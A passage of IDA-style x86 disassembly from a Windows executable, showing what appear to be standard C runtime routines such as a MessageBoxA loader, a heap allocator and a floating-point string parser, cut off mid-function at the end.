		test	eax, eax
		jnz	short loc_4194C3
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_4194C3
		push	[ebp+var_10]
		push	ebx
		call	sub_41A193
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4194D5


loc_4194C3:				; CODE XREF: sub_419246+265j
					; sub_419246+26Bj
		push	0
		push	0
		push	ebx
		call	sub_416932
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4194E1


loc_4194D5:				; CODE XREF: sub_419246+24Ej
					; sub_419246+27Bj
		push	ebx
		call	sub_416290
		pop	ecx


loc_4194DC:				; CODE XREF: sub_419246+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_4194FA
; ---------------------------------------------------------------------------


loc_4194E1:				; CODE XREF: sub_419246+221j
					; sub_419246+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_4194F8
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_4194F8
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_4194F8:				; CODE XREF: sub_419246+29Fj
					; sub_419246+2A5j
		mov	eax, ebx


loc_4194FA:				; CODE XREF: sub_419246+1D9j
					; sub_419246+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419246	endp


; =============== S U B	R O U T	I N E =======================================



sub_4194FF	proc near		; CODE XREF: seg000:00417492p

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_419510
		add	esp, 0Ch
		retn
sub_4194FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_419510	proc near		; CODE XREF: sub_4194FF+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	ds:byte_460061[eax], cl
		jnz	short loc_41953D
		cmp	[esp+arg_4], 0
		jz	short loc_419536
		movzx	eax, ds:word_42D82A[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_419538
; ---------------------------------------------------------------------------


loc_419536:				; CODE XREF: sub_419510+16j
		xor	eax, eax


loc_419538:				; CODE XREF: sub_419510+24j
		test	eax, eax
		jnz	short loc_41953D
		retn
; ---------------------------------------------------------------------------


loc_41953D:				; CODE XREF: sub_419510+Fj
					; sub_419510+2Aj
		push	1
		pop	eax
		retn
sub_419510	endp


; =============== S U B	R O U T	I N E =======================================



sub_419541	proc near		; CODE XREF: sub_417BBD+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_45EDD8, ebx
		push	esi
		push	edi
		jnz	short loc_419590
		push	offset aUser32_dll ; "user32.dll"
		call	ds:dword_41C0A4	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4195C6
		mov	esi, ds:dword_41C0A8
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi ; dword_41C0A8
		test	eax, eax
		mov	ds:dword_45EDD8, eax
		jz	short loc_4195C6
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi ; dword_41C0A8
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	ds:dword_45EDDC, eax
		call	esi ; dword_41C0A8
		mov	ds:dword_45EDE0, eax


loc_419590:				; CODE XREF: sub_419541+Bj
		mov	eax, ds:dword_45EDDC
		test	eax, eax
		jz	short loc_4195AF
		call	eax ; dword_45EDDC
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_4195AF
		mov	eax, ds:dword_45EDE0
		test	eax, eax
		jz	short loc_4195AF
		push	ebx
		call	eax ; dword_45EDE0
		mov	ebx, eax


loc_4195AF:				; CODE XREF: sub_419541+56j
					; sub_419541+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	ds:dword_45EDD8


loc_4195C2:				; CODE XREF: sub_419541+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4195C6:				; CODE XREF: sub_419541+1Cj
					; sub_419541+33j
		xor	eax, eax
		jmp	short loc_4195C2
sub_419541	endp


; =============== S U B	R O U T	I N E =======================================



sub_4195CA	proc near		; CODE XREF: sub_417F27+22p
					; sub_417F27+3Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		imul	esi, [esp+0Ch+arg_4]
		cmp	esi, 0FFFFFFE0h
		mov	ebx, esi
		ja	short loc_4195EA
		test	esi, esi
		jnz	short loc_4195E4
		push	1
		pop	esi


loc_4195E4:				; CODE XREF: sub_4195CA+15j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_4195EA:				; CODE XREF: sub_4195CA+11j
					; sub_4195CA+65j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41961B
		cmp	ebx, ds:dword_42DA3C
		ja	short loc_419606
		push	ebx
		call	sub_413836
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_419631


loc_419606:				; CODE XREF: sub_4195CA+2Dj
		push	esi
		push	8
		push	ds:dword_460180
		call	ds:dword_41C140	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41963D


loc_41961B:				; CODE XREF: sub_4195CA+25j
		cmp	ds:dword_45EB6C, 0
		jz	short loc_41963D
		push	esi
		call	sub_41344B
		test	eax, eax
		pop	ecx
		jz	short loc_419643
		jmp	short loc_4195EA
; ---------------------------------------------------------------------------


loc_419631:				; CODE XREF: sub_4195CA+3Aj
		push	ebx
		push	0
		push	edi
		call	sub_410870
		add	esp, 0Ch


loc_41963D:				; CODE XREF: sub_4195CA+4Fj
					; sub_4195CA+58j
		mov	eax, edi


loc_41963F:				; CODE XREF: sub_4195CA+7Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_419643:				; CODE XREF: sub_4195CA+63j
		xor	eax, eax
		jmp	short loc_41963F
sub_4195CA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_417FCC


loc_419647:				; CODE XREF: sub_417FCC+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	ds:dword_45FE20, esi
		jle	short loc_41969A


loc_419656:				; CODE XREF: sub_417FCC+16CCj
		mov	eax, ds:dword_45EE04
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_419691
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_419675
		push	eax
		call	sub_411954
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_419675
		inc	edi


loc_419675:				; CODE XREF: sub_417FCC+169Aj
					; sub_417FCC+16A6j
		cmp	esi, 14h
		jl	short loc_419691
		mov	eax, ds:dword_45EE04
		push	dword ptr [eax+esi*4]
		call	sub_410B5F
		mov	eax, ds:dword_45EE04
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_419691:				; CODE XREF: sub_417FCC+1694j
					; sub_417FCC+16ACj
		inc	esi
		cmp	esi, ds:dword_45FE20
		jl	short loc_419656


loc_41969A:				; CODE XREF: sub_417FCC+1688j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_417FCC

; =============== S U B	R O U T	I N E =======================================



sub_41969F	proc near		; CODE XREF: sub_418343+2Bp
					; sub_418343+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_4196B5
		cmp	ecx, esi
		jnb	short loc_4196B8


loc_4196B5:				; CODE XREF: sub_41969F+10j
		push	1
		pop	eax


loc_4196B8:				; CODE XREF: sub_41969F+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_41969F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4196C0	proc near		; CODE XREF: sub_419779+40p
					; sub_419779+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_41969F
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4196F2
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_41969F
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4196F2
		inc	dword ptr [esi+8]


loc_4196F2:				; CODE XREF: sub_4196C0+19j
					; sub_4196C0+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_41969F
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41970A
		inc	dword ptr [esi+8]


loc_41970A:				; CODE XREF: sub_4196C0+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_41969F
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_4196C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41971E	proc near		; CODE XREF: sub_419779+30p
					; sub_419779+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_41971E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41974C	proc near		; CODE XREF: sub_419D11+1C8p
					; sub_41A2D9+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_41974C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419779	proc near		; CODE XREF: sub_419840+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_4197ED
		push	edi
		mov	[ebp+arg_8], eax


loc_4197A0:				; CODE XREF: sub_419779+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_41971E
		push	ebx
		call	sub_41971E
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_4196C0
		push	ebx
		call	sub_41971E
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_4196C0
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_4197A0
		xor	edx, edx
		pop	edi


loc_4197ED:				; CODE XREF: sub_419779+21j
					; sub_419779+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_41981A
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_4197ED
; ---------------------------------------------------------------------------


loc_41981A:				; CODE XREF: sub_419779+77j
		mov	esi, 8000h


loc_41981F:				; CODE XREF: sub_419779+B9j
		test	[ebx+8], esi
		jnz	short loc_419834
		push	ebx
		call	sub_41971E
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_41981F
; ---------------------------------------------------------------------------


loc_419834:				; CODE XREF: sub_419779+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_419779	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419840	proc near		; CODE XREF: sub_41868C+17p
					; sub_4186B9+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_41987B:				; CODE XREF: sub_419840+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_419891
		cmp	cl, 9
		jz	short loc_419891
		cmp	cl, 0Ah
		jz	short loc_419891
		cmp	cl, 0Dh
		jnz	short loc_419894


loc_419891:				; CODE XREF: sub_419840+40j
					; sub_419840+45j ...
		inc	edi
		jmp	short loc_41987B
; ---------------------------------------------------------------------------


loc_419894:				; CODE XREF: sub_419840+4Fj
		push	4
		pop	esi


loc_419897:				; CODE XREF: sub_419840+AEj
					; sub_419840+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_419B1A	; default
					; jumptable 004198A3 case 10
		jmp	ds:off_419CE1[eax*4] ; switch jump


loc_4198AA:				; DATA XREF: seg000:off_419CE1o
		cmp	bl, 31h		; jumptable 004198A3 case 0
		jl	short loc_4198BB
		cmp	bl, 39h
		jg	short loc_4198BB


loc_4198B4:				; CODE XREF: sub_419840+C4j
					; sub_419840+118j
		push	3
		jmp	loc_419AD8
; ---------------------------------------------------------------------------


loc_4198BB:				; CODE XREF: sub_419840+6Dj
					; sub_419840+72j
		cmp	bl, ds:byte_42DA30
		jnz	short loc_4198CA


loc_4198C3:				; CODE XREF: sub_419840+124j
		push	5
		jmp	loc_419B10
; ---------------------------------------------------------------------------


loc_4198CA:				; CODE XREF: sub_419840+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4198F0
		dec	eax
		dec	eax
		jz	short loc_4198E4
		sub	eax, 3
		jnz	loc_419BB3
		jmp	loc_419973
; ---------------------------------------------------------------------------


loc_4198E4:				; CODE XREF: sub_419840+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_419897
; ---------------------------------------------------------------------------


loc_4198F0:				; CODE XREF: sub_419840+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_419897
; ---------------------------------------------------------------------------


loc_4198F9:				; CODE XREF: sub_419840+63j
					; DATA XREF: seg000:off_419CE1o
		cmp	bl, 31h		; jumptable 004198A3 case 1
		mov	[ebp+var_10], edx
		jl	short loc_419906
		cmp	bl, 39h
		jle	short loc_4198B4


loc_419906:				; CODE XREF: sub_419840+BFj
		cmp	bl, ds:byte_42DA30
		jz	loc_4199CE
		cmp	bl, 2Bh
		jz	short loc_419948
		cmp	bl, 2Dh
		jz	short loc_419948
		cmp	bl, 30h
		jz	short loc_419973


loc_419921:				; CODE XREF: sub_419840+207j
		cmp	bl, 43h
		jle	loc_419BB3
		cmp	bl, 45h
		jle	short loc_419941
		cmp	bl, 63h
		jle	loc_419BB3
		cmp	bl, 65h
		jg	loc_419BB3


loc_419941:				; CODE XREF: sub_419840+EDj
		push	6
		jmp	loc_419B10
; ---------------------------------------------------------------------------


loc_419948:				; CODE XREF: sub_419840+D5j
					; sub_419840+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_419B10
; ---------------------------------------------------------------------------


loc_419950:				; CODE XREF: sub_419840+63j
					; DATA XREF: seg000:off_419CE1o
		cmp	bl, 31h		; jumptable 004198A3 case 2
		jl	short loc_41995E
		cmp	bl, 39h
		jle	loc_4198B4


loc_41995E:				; CODE XREF: sub_419840+113j
		cmp	bl, ds:byte_42DA30
		jz	loc_4198C3
		cmp	bl, 30h
		jnz	loc_419B28


loc_419973:				; CODE XREF: sub_419840+9Fj
					; sub_419840+DFj
		mov	eax, edx
		jmp	loc_419897
; ---------------------------------------------------------------------------


loc_41997A:				; CODE XREF: sub_419840+63j
					; DATA XREF: seg000:off_419CE1o
		mov	[ebp+var_10], edx ; jumptable 004198A3 case 3


loc_41997D:				; CODE XREF: sub_419840+184j
		cmp	ds:dword_42DA2C, edx
		jle	short loc_419996
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_4133D6
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4199A4
; ---------------------------------------------------------------------------


loc_419996:				; CODE XREF: sub_419840+143j
		mov	ecx, ds:off_42D820
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_4199A4:				; CODE XREF: sub_419840+154j
		test	eax, eax
		jz	short loc_4199C6
		cmp	[ebp+var_4], 19h
		jnb	short loc_4199BE
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_4199C1
; ---------------------------------------------------------------------------


loc_4199BE:				; CODE XREF: sub_419840+16Cj
		inc	[ebp+var_8]


loc_4199C1:				; CODE XREF: sub_419840+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41997D
; ---------------------------------------------------------------------------


loc_4199C6:				; CODE XREF: sub_419840+166j
		cmp	bl, ds:byte_42DA30
		jnz	short loc_419A35


loc_4199CE:				; CODE XREF: sub_419840+CCj
		mov	eax, esi
		jmp	loc_419897
; ---------------------------------------------------------------------------


loc_4199D5:				; CODE XREF: sub_419840+63j
					; DATA XREF: seg000:off_419CE1o
		cmp	[ebp+var_4], 0	; jumptable 004198A3 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_4199EE


loc_4199E1:				; CODE XREF: sub_419840+1ACj
		cmp	bl, 30h
		jnz	short loc_4199EE
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4199E1
; ---------------------------------------------------------------------------


loc_4199EE:				; CODE XREF: sub_419840+19Fj
					; sub_419840+1A4j ...
		cmp	ds:dword_42DA2C, edx
		jle	short loc_419A07
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_4133D6
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_419A15
; ---------------------------------------------------------------------------


loc_419A07:				; CODE XREF: sub_419840+1B4j
		mov	ecx, ds:off_42D820
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_419A15:				; CODE XREF: sub_419840+1C5j
		test	eax, eax
		jz	short loc_419A35
		cmp	[ebp+var_4], 19h
		jnb	short loc_419A30
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_419A30:				; CODE XREF: sub_419840+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4199EE
; ---------------------------------------------------------------------------


loc_419A35:				; CODE XREF: sub_419840+18Cj
					; sub_419840+1D7j
		cmp	bl, 2Bh
		jz	loc_419948
		cmp	bl, 2Dh
		jz	loc_419948
		jmp	loc_419921
; ---------------------------------------------------------------------------


loc_419A4C:				; CODE XREF: sub_419840+63j
					; DATA XREF: seg000:off_419CE1o
		cmp	ds:dword_42DA2C, edx ; jumptable 004198A3 case 5
		mov	[ebp+var_24], edx
		jle	short loc_419A68
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_4133D6
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_419A76
; ---------------------------------------------------------------------------


loc_419A68:				; CODE XREF: sub_419840+215j
		mov	ecx, ds:off_42D820
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_419A76:				; CODE XREF: sub_419840+226j
		test	eax, eax
		jz	loc_419B28
		mov	eax, esi
		jmp	short loc_419AD9
; ---------------------------------------------------------------------------


loc_419A82:				; CODE XREF: sub_419840+63j
					; DATA XREF: seg000:off_419CE1o
		lea	ecx, [edi-2]	; jumptable 004198A3 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_419A92
		cmp	bl, 39h
		jle	short loc_419AD6


loc_419A92:				; CODE XREF: sub_419840+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_419B0E
		dec	eax
		dec	eax
		jz	short loc_419B02
		sub	eax, 3
		jnz	loc_419BB6


loc_419AA7:				; CODE XREF: sub_419840+2A4j
		push	8
		jmp	short loc_419B10
; ---------------------------------------------------------------------------


loc_419AAB:				; CODE XREF: sub_419840+63j
					; DATA XREF: seg000:off_419CE1o
		mov	[ebp+var_20], edx ; jumptable 004198A3 case 8


loc_419AAE:				; CODE XREF: sub_419840+276j
		cmp	bl, 30h
		jnz	short loc_419AB8
		mov	bl, [edi]
		inc	edi
		jmp	short loc_419AAE
; ---------------------------------------------------------------------------


loc_419AB8:				; CODE XREF: sub_419840+271j
		cmp	bl, 31h
		jl	loc_419BB3
		cmp	bl, 39h
		jg	loc_419BB3
		jmp	short loc_419AD6
; ---------------------------------------------------------------------------


loc_419ACC:				; CODE XREF: sub_419840+63j
					; DATA XREF: seg000:off_419CE1o
		cmp	bl, 31h		; jumptable 004198A3 case 7
		jl	short loc_419ADF
		cmp	bl, 39h
		jg	short loc_419ADF


loc_419AD6:				; CODE XREF: sub_419840+250j
					; sub_419840+28Aj
		push	9


loc_419AD8:				; CODE XREF: sub_419840+76j
		pop	eax


loc_419AD9:				; CODE XREF: sub_419840+240j
		dec	edi
		jmp	loc_419897
; ---------------------------------------------------------------------------


loc_419ADF:				; CODE XREF: sub_419840+28Fj
					; sub_419840+294j
		cmp	bl, 30h
		jnz	short loc_419B28
		jmp	short loc_419AA7
; ---------------------------------------------------------------------------


loc_419AE6:				; CODE XREF: sub_419840+63j
					; DATA XREF: seg000:off_419CE1o
		cmp	[ebp+arg_18], 0	; jumptable 004198A3 case 11
		jz	short loc_419B16
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_419B0E
		dec	eax
		dec	eax
		jnz	loc_419BB6


loc_419B02:				; CODE XREF: sub_419840+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_419897
; ---------------------------------------------------------------------------


loc_419B0E:				; CODE XREF: sub_419840+258j
					; sub_419840+2B8j
		push	7


loc_419B10:				; CODE XREF: sub_419840+85j
					; sub_419840+103j ...
		pop	eax
		jmp	loc_419897
; ---------------------------------------------------------------------------


loc_419B16:				; CODE XREF: sub_419840+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_419B1A:				; CODE XREF: sub_419840+5Dj
					; sub_419840+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 004198A3 case 10
		jz	loc_419BB8
		jmp	loc_419897
; ---------------------------------------------------------------------------


loc_419B28:				; CODE XREF: sub_419840+12Dj
					; sub_419840+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_419BB8
; ---------------------------------------------------------------------------


loc_419B30:				; CODE XREF: sub_419840+63j
					; DATA XREF: seg000:off_419CE1o
		mov	[ebp+var_20], 1	; jumptable 004198A3 case 9
		xor	esi, esi


loc_419B39:				; CODE XREF: sub_419840+339j
		cmp	ds:dword_42DA2C, 1
		jle	short loc_419B51
		movzx	eax, bl
		push	4
		push	eax
		call	sub_4133D6
		pop	ecx
		pop	ecx
		jmp	short loc_419B60
; ---------------------------------------------------------------------------


loc_419B51:				; CODE XREF: sub_419840+300j
		mov	ecx, ds:off_42D820
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_419B60:				; CODE XREF: sub_419840+30Fj
		test	eax, eax
		jz	short loc_419B80
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_419B7B
		mov	bl, [edi]
		inc	edi
		jmp	short loc_419B39
; ---------------------------------------------------------------------------


loc_419B7B:				; CODE XREF: sub_419840+334j
		mov	esi, 1451h


loc_419B80:				; CODE XREF: sub_419840+322j
		mov	[ebp+var_1C], esi


loc_419B83:				; CODE XREF: sub_419840+371j
		cmp	ds:dword_42DA2C, 1
		jle	short loc_419B9B
		movzx	eax, bl
		push	4
		push	eax
		call	sub_4133D6
		pop	ecx
		pop	ecx
		jmp	short loc_419BAA
; ---------------------------------------------------------------------------


loc_419B9B:				; CODE XREF: sub_419840+34Aj
		mov	ecx, ds:off_42D820
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_419BAA:				; CODE XREF: sub_419840+359j
		test	eax, eax
		jz	short loc_419BB3
		mov	bl, [edi]
		inc	edi
		jmp	short loc_419B83
; ---------------------------------------------------------------------------


loc_419BB3:				; CODE XREF: sub_419840+99j
					; sub_419840+E4j ...
		dec	edi
		jmp	short loc_419BB8
; ---------------------------------------------------------------------------


loc_419BB6:				; CODE XREF: sub_419840+261j
					; sub_419840+2BCj
		mov	edi, ecx


loc_419BB8:				; CODE XREF: sub_419840+2DDj
					; sub_419840+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_419CA0
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_419BE4
		cmp	[ebp+var_45], 5
		jl	short loc_419BD8
		inc	[ebp+var_45]


loc_419BD8:				; CODE XREF: sub_419840+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_419BE7
; ---------------------------------------------------------------------------


loc_419BE4:				; CODE XREF: sub_419840+38Dj
		mov	eax, [ebp+var_C]


loc_419BE7:				; CODE XREF: sub_419840+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_419C96


loc_419BF1:				; CODE XREF: sub_419840+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_419BFF
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_419BF1
; ---------------------------------------------------------------------------


loc_419BFF:				; CODE XREF: sub_419840+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_419779
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_419C1E
		neg	eax


loc_419C1E:				; CODE XREF: sub_419840+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_419C29
		add	eax, [ebp+arg_10]


loc_419C29:				; CODE XREF: sub_419840+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_419C31
		sub	eax, [ebp+arg_14]


loc_419C31:				; CODE XREF: sub_419840+3ECj
		cmp	eax, 1450h
		jle	short loc_419C68
		mov	[ebp+var_2C], 1


loc_419C3F:				; CODE XREF: sub_419840+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_419C4B:				; CODE XREF: sub_419840+454j
					; sub_419840+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_419CB1
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_419CC6
; ---------------------------------------------------------------------------


loc_419C68:				; CODE XREF: sub_419840+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_419C78
		mov	[ebp+var_30], 1
		jmp	short loc_419C3F
; ---------------------------------------------------------------------------


loc_419C78:				; CODE XREF: sub_419840+42Dj
		push	[ebp+arg_C]
		push	eax
